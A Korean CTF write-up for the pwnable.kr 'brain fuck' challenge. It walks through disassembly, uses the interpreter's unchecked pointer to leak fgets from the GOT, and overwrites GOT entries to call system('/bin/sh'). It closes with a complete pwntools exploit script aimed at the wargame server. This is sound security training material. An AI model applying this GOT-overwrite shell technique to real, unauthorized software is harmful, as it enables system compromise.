I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell.
brainfuck에 관한 문제인듯 하다. brainfuck은 프로그래밍 언어인데, 문법은 다음과 같다. (출처 나무위키namu.wiki/w/BrainFuck)
-
> : 포인터 증가
-
< : 포인터 감소
-
+ : 포인터가 가리키는 바이트의 값을 증가
-
- : 포인터가 가리키는 바이트의 값을 감소
-
. : 포인터가 가리키는 바이트 값을 아스키 코드 문자로 출력한다.
-
, : 포인터가 가리키는 바이트에 아스키 코드 값을 입력한다. 쉽게 말해서 입력 받는 역할이다.
-
[ : 포인터가 가리키는 바이트의 값이 0이 되면 짝이 되는 ]로 이동한다. 의사코드로는 while(*ptr != 0) {...} 이다.
-
] : 포인터가 가리키는 바이트의 값이 0이 아니면 짝이 되는 [로 이동한다.
이 문제에선 [] 루프는 구현이 되어 있지 않다. 아무튼 코드를 보자
Dump of assembler code for function main:
0x08048671 <+0>: push ebp
0x08048672 <+1>: mov ebp,esp
0x08048674 <+3>: push ebx
0x08048675 <+4>: and esp,0xfffffff0
0x08048678 <+7>: sub esp,0x430
0x0804867e <+13>: mov eax,DWORD PTR [ebp+0xc]
0x08048681 <+16>: mov DWORD PTR [esp+0x1c],eax
0x08048685 <+20>: mov eax,gs:0x14
0x0804868b <+26>: mov DWORD PTR [esp+0x42c],eax
0x08048692 <+33>: xor eax,eax
0x08048694 <+35>: mov eax,ds:0x804a060
0x08048699 <+40>: mov DWORD PTR [esp+0xc],0x0
0x080486a1 <+48>: mov DWORD PTR [esp+0x8],0x2
0x080486a9 <+56>: mov DWORD PTR [esp+0x4],0x0
0x080486b1 <+64>: mov DWORD PTR [esp],eax
0x080486b4 <+67>: call 0x80484b0 <setvbuf@plt>
0x080486b9 <+72>: mov eax,ds:0x804a040
0x080486be <+77>: mov DWORD PTR [esp+0xc],0x0
0x080486c6 <+85>: mov DWORD PTR [esp+0x8],0x1
0x080486ce <+93>: mov DWORD PTR [esp+0x4],0x0
0x080486d6 <+101>: mov DWORD PTR [esp],eax
0x080486d9 <+104>: call 0x80484b0 <setvbuf@plt>
0x080486de <+109>: mov DWORD PTR ds:0x804a080,0x804a0a0
0x080486e8 <+119>: mov DWORD PTR [esp],0x804890c
0x080486ef <+126>: call 0x8048470 <puts@plt>
0x080486f4 <+131>: mov DWORD PTR [esp],0x8048934
0x080486fb <+138>: call 0x8048470 <puts@plt>
0x08048700 <+143>: mov DWORD PTR [esp+0x8],0x400
0x08048708 <+151>: mov DWORD PTR [esp+0x4],0x0
0x08048710 <+159>: lea eax,[esp+0x2c]
0x08048714 <+163>: mov DWORD PTR [esp],eax
0x08048717 <+166>: call 0x80484c0 <memset@plt>
0x0804871c <+171>: mov eax,ds:0x804a040
0x08048721 <+176>: mov DWORD PTR [esp+0x8],eax
0x08048725 <+180>: mov DWORD PTR [esp+0x4],0x400
0x0804872d <+188>: lea eax,[esp+0x2c]
0x08048731 <+192>: mov DWORD PTR [esp],eax
0x08048734 <+195>: call 0x8048450 <fgets@plt>
0x08048739 <+200>: mov DWORD PTR [esp+0x28],0x0
0x08048741 <+208>: jmp 0x8048760 <main+239>
0x08048743 <+210>: lea edx,[esp+0x2c]
0x08048747 <+214>: mov eax,DWORD PTR [esp+0x28]
0x0804874b <+218>: add eax,edx
0x0804874d <+220>: movzx eax,BYTE PTR [eax]
0x08048750 <+223>: movsx eax,al
0x08048753 <+226>: mov DWORD PTR [esp],eax
0x08048756 <+229>: call 0x80485dc <do_brainfuck>
0x0804875b <+234>: add DWORD PTR [esp+0x28],0x1
0x08048760 <+239>: mov ebx,DWORD PTR [esp+0x28]
0x08048764 <+243>: lea eax,[esp+0x2c]
0x08048768 <+247>: mov DWORD PTR [esp],eax
0x0804876b <+250>: call 0x8048490 <strlen@plt>
0x08048770 <+255>: cmp ebx,eax
0x08048772 <+257>: jb 0x8048743 <main+210>
0x08048774 <+259>: mov eax,0x0
0x08048779 <+264>: mov edx,DWORD PTR [esp+0x42c]
0x08048780 <+271>: xor edx,DWORD PTR gs:0x14
0x08048787 <+278>: je 0x804878e <main+285>
0x08048789 <+280>: call 0x8048460 <__stack_chk_fail@plt>
0x0804878e <+285>: mov ebx,DWORD PTR [ebp-0x4]
0x08048791 <+288>: leave
0x08048792 <+289>: ret
처음에 fgets로 0x400만큼 입력을 받고 1바이트씩 do_brainfuck을 실행한다.
Dump of assembler code for function do_brainfuck:
0x080485dc <+0>: push ebp
0x080485dd <+1>: mov ebp,esp
0x080485df <+3>: push ebx
0x080485e0 <+4>: sub esp,0x24
0x080485e3 <+7>: mov eax,DWORD PTR [ebp+0x8]
0x080485e6 <+10>: mov BYTE PTR [ebp-0xc],al
0x080485e9 <+13>: movsx eax,BYTE PTR [ebp-0xc]
0x080485ed <+17>: sub eax,0x2b
0x080485f0 <+20>: cmp eax,0x30
0x080485f3 <+23>: ja 0x804866b <do_brainfuck+143>
0x080485f5 <+25>: mov eax,DWORD PTR [eax*4+0x8048848]
0x080485fc <+32>: jmp eax
0x080485fe <+34>: mov eax,ds:0x804a080
0x08048603 <+39>: add eax,0x1
0x08048606 <+42>: mov ds:0x804a080,eax
0x0804860b <+47>: jmp 0x804866b <do_brainfuck+143>
0x0804860d <+49>: mov eax,ds:0x804a080
0x08048612 <+54>: sub eax,0x1
0x08048615 <+57>: mov ds:0x804a080,eax
0x0804861a <+62>: jmp 0x804866b <do_brainfuck+143>
0x0804861c <+64>: mov eax,ds:0x804a080
0x08048621 <+69>: movzx edx,BYTE PTR [eax]
0x08048624 <+72>: add edx,0x1
0x08048627 <+75>: mov BYTE PTR [eax],dl
0x08048629 <+77>: jmp 0x804866b <do_brainfuck+143>
0x0804862b <+79>: mov eax,ds:0x804a080
0x08048630 <+84>: movzx edx,BYTE PTR [eax]
0x08048633 <+87>: sub edx,0x1
0x08048636 <+90>: mov BYTE PTR [eax],dl
0x08048638 <+92>: jmp 0x804866b <do_brainfuck+143>
0x0804863a <+94>: mov eax,ds:0x804a080
0x0804863f <+99>: movzx eax,BYTE PTR [eax]
0x08048642 <+102>: movsx eax,al
0x08048645 <+105>: mov DWORD PTR [esp],eax
0x08048648 <+108>: call 0x80484d0 <putchar@plt>
0x0804864d <+113>: jmp 0x804866b <do_brainfuck+143>
0x0804864f <+115>: mov ebx,DWORD PTR ds:0x804a080
0x08048655 <+121>: call 0x8048440 <getchar@plt>
0x0804865a <+126>: mov BYTE PTR [ebx],al
0x0804865c <+128>: jmp 0x804866b <do_brainfuck+143>
0x0804865e <+130>: mov DWORD PTR [esp],0x8048830
0x08048665 <+137>: call 0x8048470 <puts@plt>
0x0804866a <+142>: nop
0x0804866b <+143>: add esp,0x24
0x0804866e <+146>: pop ebx
0x0804866f <+147>: pop ebp
0x08048670 <+148>: ret
do_brainfuck 함수는 입력을 1바이트씩 해석해서 처리하는데, 포인터 값이 담긴 주소는 0x804a080인 것 같다. 확인해보자
gef➤ x /wx 0x804a080
0x804a080 <p>: 0x0804a0a0
포인터는 0x0804a0a0인 것 같다. 그러면 이곳에 입력 받은 brainfuck 바이트에 해당하는 처리를 해주는 것이다.
이제 중요한건 bug를 찾는건데, 포인터 값을 내가 원하는 주소로 바꿔서 해당 주소에 원하는 값을 쓰는게 가능할 것 같다. 포인터는 1바이트씩 증감시킬 수 있으므로 근처 영역의 주소에 쓸만한게 있는지 찾아보았다.
gef➤ x /100wx 0x804a000
0x804a000: 0x08049f14 0xf7ffd950 0xf7fe9680 0x08048446
0x804a010 <fgets@got.plt>: 0xf7e3d740 0x08048466 0xf7e3f0a0 0x08048486
0x804a020 <strlen@got.plt>: 0x08048496 0xf7df0a50 0xf7e3f700 0xf7f16ef0
0x804a030 <putchar@got.plt>: 0x080484d6 0x00000000 0x00000000 0x00000000
0x804a040 <stdin@@GLIBC_2.0>: 0xf7fb05c0 0x00000000 0x00000000 0x00000000
0x804a050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a060 <stdout@@GLIBC_2.0>: 0xf7fb0d80 0x00000000 0x00000000 0x00000000
0x804a070: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a080 <p>: 0x0804a0a0 0x00000000 0x00000000 0x00000000
0x804a090: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0a0 <tape>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a0b0 <tape+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x804a000부터 뭔가 함수들의 got 주소가 적혀 있는게 보인다. 그럼 당연히 got overwrite으로 덤벼보자. 쉘을 얻어야 하기 때문에 RTL로 system("/bin/sh")를 실행하는 것을 목표로 삼았다. 그러면 필요한 것은,
i) system 함수 위치
ii) /bin/sh 스트링
이다.
system 함수의 위치는 적혀 있는 함수들의 주소를 leak해서 libc base 주소를 구하면 쉽게 구할 수 있다. 그리고 /bin/sh 스트링도 leak 할 수 있는데, 이것보다 문제에 준비된 0x0804a0a0 공간에 그냥 넣고 이 부분을 인자로하는 flow를 가져가려고 했다. 그러면 필요한 코드 조각은 대충 0x804a0a0을 스택에 push하고, call system을 하면 되겠다. 여기까지 하고 나면 정리가 필요하다.
우선은, 0x804a0a0 부분에 /bin/sh 스트링을 넣는다. 이는 다음과 같은 brainfuck 코드로 수행한다.
",>"*7
즉 1바이트쓰고 포인터를 1씩 증가시키는 방법을 총 7번 반복해서 /bin/sh 스트링을 넣는것이다.
이후에는 system 함수 위치를 알기 위해 적당한 아무 함수의 주소나 leak이 필요하다. 나는 fgets를 타겟으로 삼았다. fgets는 0x804a010 부분에 저장되어 있다. 따라서 여기까지 포인터를 이동해야하는데, 현재 포인터는 /bin/sh 스트링을 쓰고 한칸 더 이동해있기 때문에, 0x804a0a7 부분에 있다. 따라서 이 차이만큼 우선 이동을 해준다.
"<"*0x97
그리고 0x804a010에서부터 4바이트 주소를 1바이트씩 출력하기 위해서,
".>"*4
이 시점에서 fgets leak을 얻을 수 있고, 해당 leak을 통해 다음과 같은 방법으로 system 함수 위치를 구한다.
libc_base = fgets_leak - <libc_fgets_offset>
system_addr = libc_base + <libc_system_offset>
이렇게 구한 system 함수 위치를 내가 덮어쓸 함수의 got에 넣어야 되는데, 이 타겟은 처음에는 막연하게 putchar로 생각했었는데, putchar의 경우에 1바이트를 출력하는 함수기 때문에 실행 흐름에서 0x804a0a0을 스택에 push 할 수가 없고 1바이트만 push 되서 사용할 수가 없었다. 여기서 좀 헤맸는데, 일단 함수들을 다 살펴보고 나니까 프로그램 초반에 실행되는 setvbuf 함수가 눈에 띄었다.
0x08048694 <+35>: mov eax,ds:0x804a060
0x08048699 <+40>: mov DWORD PTR [esp+0xc],0x0
0x080486a1 <+48>: mov DWORD PTR [esp+0x8],0x2
0x080486a9 <+56>: mov DWORD PTR [esp+0x4],0x0
0x080486b1 <+64>: mov DWORD PTR [esp],eax
0x080486b4 <+67>: call 0x80484b0 <setvbuf@plt>
setvbuf 함수는 0x804a060이 가리키는 값을 eax에 넣고, 이를 스택에 push 하는데, 0x804a060은 고맙게도 내가 조작할 수 있는 부분이다. 그렇다면 해야할 일은,
i) setvbuf의 got를 system 함수 위치로 덮어쓰기
ii) 0x804a060 주소에 0x804a0a0 값 넣기
iii) 0x8048694로 뛰기
이다. 우선 setvbuf의 got 주소를 확인해보면 0x804a028이다. 현재 포인터는 0x804a014에 머물러 있기 때문에, 0x804a028까지 이동 후 4바이트를 쓰는 코드는 다음과 같다.
">"*0x14 + ",>"*4
이후에는 0x8048694로 뛰기 위해 제일 가까우면서 트리거하기 쉬운 putchar 함수의 got를 덮어쓰기로 했다. putchar got는 0x804a030이고 현재 포인터는 0x804a02c이다. 따라서,
">"*0x4 + ",>"*4
이후에는 0x804a060 부분에 0x804a0a0 값을 쓰기 위해 해당 부분으로 이동하고 4바이트를 써야 한다. 현재 포인터는 0x804a034이다. 따라서,
">"*0x2c" + ",>"*4
그러면 exploit을 하기 위한 세팅이 모두 끝났다. putchar 함수(사실은 0x8048694)를 실행하기 위해
"."
를 입력하면 끝이다.
이후에 넣어야 할 입력들은 순서에 맞게 적절히 넣어주면 된다. 순서는 다음과 같다.
i) /bin/sh 문자열
ii) system 함수 주소
iii) 0x8048694
iv) 0x804a0a0
exploit 코드는 다음과 같다.
from pwn import *
e = ELF('bf', checksec=False)
libc = ELF('bf_libc.so', checksec=False)
payload = ",>"*7 + "<"*0x97 + ".>"*4 + ">"*0x14 + ",>"*4 + ">"*0x4 + ",>"*4 + ">"*0x2c + ",>"*4 + "."
string = "/bin/sh"
setvbuf_jump = p32(0x8048694)
string_addr = p32(0x804a0a0)
#p = process("/root/brain_fuck/bf")
p = remote("pwnable.kr", 9001)
print(p.recvuntil(']\n'))
p.sendline(payload)
p.send(string)
fgets_leak = u32(p.recvn(4))
libc_leak = fgets_leak - libc.symbols['fgets']
system_addr = libc_leak + libc.symbols['system']
print("[*] fgets_leak: " + hex(fgets_leak))
print("[*] libc_base: " + hex(libc_leak))
print("[*] system address: " + hex(system_addr))
p.send(p32(system_addr))
p.send(setvbuf_jump)
p.send(string_addr)
p.interactive()
'pwn' 카테고리의 다른 글
pwnable.kr - tiny_easy (0) | 2021.02.25 |
---|---|
pwnable.kr - echo1 (0) | 2021.02.25 |
pwnable.kr - fsb (0) | 2021.02.19 |
pwnable.kr - horcruxes (0) | 2020.08.04 |
pwnable.kr - blukat (0) | 2020.08.04 |